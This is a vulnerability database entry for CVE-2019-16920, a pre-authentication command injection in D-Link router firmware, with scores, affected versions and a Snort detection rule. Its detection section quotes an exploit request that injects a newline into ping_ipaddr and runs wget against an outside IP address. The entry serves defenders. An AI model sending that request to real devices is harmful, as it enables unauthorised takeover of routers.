cbcvebase.
CVE-2019-16920
published 2019-09-27

CVE-2019-16920: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an…

PriorityP199critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
100.00%
100.0th percentile
Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

Affected

3 ranges
VendorProductVersion rangeFixed in
dlinkdhp-1565_firmware<= 1.01
dlinkdir-655_firmware<= 3.02b05
dlinkdir-866l_firmware<= 1.03b04

Detection & IOCsextracted from sources · hover to see the quote

path/apply_sec.cgi
commandPOST /apply_sec.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
ip45.76.148.31
port4321
otherDLink.DIR866L.PingTest.RCE
snort
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Multiple DLink Routers Remote Code Execution CVE-2019-16920"; flow:established,to_server; urilen:14; http.method; content:"POST"; http.uri; content:"/apply_sec.cgi"; http.request_body; content:"html_response_page=login_pic.asp&action=ping_test&ping_ipaddr="; fast_pattern; reference:cve,2019-16920; reference:url,www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce; classtype:attempted-admin; sid:2030277; rev:3; metadata:affected_product Linux, attack_target IoT, created_at 2020_06_10, cve CVE_2019_16920, deployment Perimeter, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_07, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
  • Exploit targets POST /apply_sec.cgi with action=ping_test and a newline-injected ping_ipaddr parameter (e.g., %0a). No authentication is required; the bad auth check allows unauthenticated access to all SSC_SEC_OBJS actions.
  • The exploit POST body always contains the fixed string 'html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=' — use this as a fast-pattern match in HTTP request body inspection.
  • The URI /apply_sec.cgi is exactly 14 characters long; the Snort rule uses urilen:14 as an additional constraint to reduce false positives.
  • The initial login step sends a fixed session_id=62384 and base64-encoded login_name=YWRtaW4%3D in the POST body to /apply_sec.cgi — this pattern can be used to identify scanning/exploitation attempts.
  • Exploitation response body can be validated by matching 'root:.*:0:0:' (Linux /etc/passwd) or '[font|extension|files]' (Windows win.ini) in the HTTP response body.
  • ·All affected D-Link models (DIR-655, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, DIR-825) are End-of-Life; no vendor patch will be issued. CISA mandates disconnection of these devices.
  • ·The vulnerability is pre-authentication — no valid session or credentials are needed to reach the ping_test action via /apply_sec.cgi, because the current_user nvram value is uninitialized by default.
  • ·Special characters (double quote, quote, semicolon) are filtered by the ping handler, but the newline character (%0a) is not — detection rules must specifically look for URL-encoded newlines in ping_ipaddr.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.